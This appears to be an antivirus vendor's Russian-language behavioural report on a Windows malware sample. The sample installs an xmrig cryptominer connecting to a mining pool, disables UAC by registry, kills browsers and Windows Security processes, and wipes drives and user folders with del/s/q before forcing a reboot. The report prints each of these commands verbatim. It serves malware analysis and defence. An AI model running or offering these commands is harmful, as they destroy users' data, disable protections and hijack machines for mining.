Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\windows_system_files.exe
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%_system\miner\WinRing0x64.sys'
Создает следующие сервисы
- 'WinRing0_1_2_0' %WINDIR%_system\miner\WinRing0x64.sys
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im firefox.exe
- '<SYSTEM32>\taskkill.exe' /f /im brave.exe
- '<SYSTEM32>\taskkill.exe' /f /im chrome.exe
- '<SYSTEM32>\taskkill.exe' /f /im explorer.exe
- '<SYSTEM32>\taskkill.exe' /f /im taskmgr.exe
- '<SYSTEM32>\taskkill.exe' /f /im iexplorer.exe
- '<SYSTEM32>\taskkill.exe' /f /im opera.exe
- '<SYSTEM32>\taskkill.exe' /f /im msedge.exe
- '<SYSTEM32>\taskkill.exe' /f /im MicrosoftEdge.exe
- '<SYSTEM32>\taskkill.exe' /f /im SecurityHealthSystray.exe
- '<SYSTEM32>\taskkill.exe' /f /im SecurityHealthService.exe
- '<SYSTEM32>\taskkill.exe' /f /im SecurityHealthHost.exe
- '<SYSTEM32>\taskkill.exe' /f /im wscript.exe
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\explorer.exe
- <SYSTEM32>\wscript.exe
следующие пользовательские процессы:
- firefox.exe
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%_system\main\messages\launch.vbs
- %WINDIR%_system\main\programs\admin_changes.bat
- %WINDIR%_system\main\programs\streams64.exe
- %WINDIR%_system\important_configuration.txt
- %WINDIR%_system\miner\xmrig.exe
- %WINDIR%_system\miner\winring0x64.sys
- %WINDIR%_system\miner\messages\miner_admin_accept_firsttime.vbs
- %WINDIR%_system\miner\messages\miner_admin_accept.vbs
- %WINDIR%_system\miner\messages\reboot.vbs
- %WINDIR%_system\lock\messages\not_connected.vbs
- %WINDIR%_system\lock\messages\connected.vbs
- %WINDIR%_system\lock\config.txt
- %WINDIR%_system\delete\messages\oops.vbs
Сетевая активность
Подключается к
- 'qr#.##ningocean.org':3343
TCP
Другие
- 'qr#.##ningocean.org':3343
UDP
- DNS ASK qr#.##ningocean.org
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%WINDIR%_system\main\messages\launch.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' powershell "-command \"&{Start-Process -filepath 'cmd' -argumentlist '/c %WINDIR%_system\main\programs\admin_changes.bat' -verb runas}\""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "&{Start-Process -filepath 'cmd' -argumentlist '/c %WINDIR%_system\main\programs\admin_changes.bat' -verb runas}"
- '%WINDIR%_system\main\programs\streams64.exe' -d /accepteula "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\windows_system_files.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' powershell "-command \"&{Start-Process -filepath 'cmd' -argumentlist '/c %WINDIR%_system\miner\xmrig.exe -o qrl.miningocean.org:3343 -u Q0105008e904c68ec598558563f7166f69b0dfe905a20cb93a2c85f2d...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "&{Start-Process -filepath 'cmd' -argumentlist '/c %WINDIR%_system\miner\xmrig.exe -o qrl.miningocean.org:3343 -u Q0105008e904c68ec598558563f7166f69b0dfe905a20cb93a2c85f2d796cbbeb1c1ee...
- '%WINDIR%_system\miner\xmrig.exe' -o qrl.miningocean.org:3343 -u Q0105008e904c68ec598558563f7166f69b0dfe905a20cb93a2c85f2d796cbbeb1c1ee5e0be6648 -p all_miners -a rx/0 -k --huge-pages-jit --tls --cpu-no-yield -B
- '<SYSTEM32>\wscript.exe' "%WINDIR%_system\miner\messages\reboot.vbs"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c echo %userprofile%
- '<SYSTEM32>\cmd.exe' /c del/s/q <Имя диска съемного носителя>:\
- '<SYSTEM32>\cmd.exe' /c del/s/q G:\
- '<SYSTEM32>\cmd.exe' /c del/s/q H:\
- '<SYSTEM32>\cmd.exe' /c del/s/q I:\
- '<SYSTEM32>\cmd.exe' /c del/s/q J:\
- '<SYSTEM32>\cmd.exe' /c del/s/q K:\
- '<SYSTEM32>\cmd.exe' /c del/s/q L:\
- '<SYSTEM32>\cmd.exe' /c del/s/q M:\
- '<SYSTEM32>\cmd.exe' /c del/s/q N:\
- '<SYSTEM32>\cmd.exe' /c del/s/q O:\
- '<SYSTEM32>\cmd.exe' /c del/s/q D:\
- '<SYSTEM32>\cmd.exe' /c del/s/q E:\
- '<SYSTEM32>\cmd.exe' /c del/s/q P:\
- '<SYSTEM32>\cmd.exe' /c del/s/q S:\
- '<SYSTEM32>\cmd.exe' /c del/s/q T:\
- '<SYSTEM32>\cmd.exe' /c del/s/q U:\
- '<SYSTEM32>\cmd.exe' /c del/s/q V:\
- '<SYSTEM32>\cmd.exe' /c del/s/q W:\
- '<SYSTEM32>\cmd.exe' /c del/s/q X:\
- '<SYSTEM32>\cmd.exe' /c del/s/q Y:\
- '<SYSTEM32>\cmd.exe' /c %WINDIR%_system\miner\xmrig.exe -o qrl.miningocean.org:3343 -u Q0105008e904c68ec598558563f7166f69b0dfe905a20cb93a2c85f2d796cbbeb1c1ee5e0be6648 -p all_miners -a rx/0 -k --huge-pages-jit --tls...
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" wscript.exe
- '<SYSTEM32>\cmd.exe' /c %WINDIR%_system\miner\messages\reboot.vbs
- '<SYSTEM32>\cmd.exe' /c del/s/q Q:\
- '<SYSTEM32>\cmd.exe' /c del/s/q R:\
- '<SYSTEM32>\cmd.exe' /c del/s/q %HOMEPATH%\OneDrive
- '<SYSTEM32>\cmd.exe' /c del/s/q %HOMEPATH%\Contacts
- '<SYSTEM32>\cmd.exe' /c del/s/q %HOMEPATH%\Documents
- '<SYSTEM32>\cmd.exe' /c net user user
- '<SYSTEM32>\net.exe' user user
- '<SYSTEM32>\net1.exe' user user
- '<SYSTEM32>\cmd.exe' /c %WINDIR%_system\main\messages\launch.vbs
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" firefox.exe
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" brave.exe
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" chrome.exe
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" explorer.exe
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" taskmgr.exe
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" iexplorer.exe
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" opera.exe
- '<SYSTEM32>\cmd.exe' /c echo %username%
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" msedge.exe
- '<SYSTEM32>\cmd.exe' /c %WINDIR%_system\main\programs\admin_changes.bat
- '<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c del/s/q "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\windows_system_files.exe\*.exe"
- '<SYSTEM32>\cmd.exe' /c copy <Полный путь к файлу> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\windows_system_files.exe"
- '<SYSTEM32>\cmd.exe' /c %WINDIR%_system\main\programs\streams64.exe -d /accepteula "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\windows_system_files.exe"
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" SecurityHealthSystray.exe
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" SecurityHealthService.exe
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" SecurityHealthHost.exe
- '<SYSTEM32>\cmd.exe' /c del/s/q %HOMEPATH%\Desktop
- '<SYSTEM32>\cmd.exe' /c del/s/q %HOMEPATH%\Downloads
- '<SYSTEM32>\cmd.exe' /c del/s/q %HOMEPATH%\Pictures
- '<SYSTEM32>\cmd.exe' /c "taskkill /f /im" MicrosoftEdge.exe
- '<SYSTEM32>\cmd.exe' /c shutdown -r -t 00
- '<SYSTEM32>\shutdown.exe' -r -t 00
Пытается завершить работу операционной системы Windows.
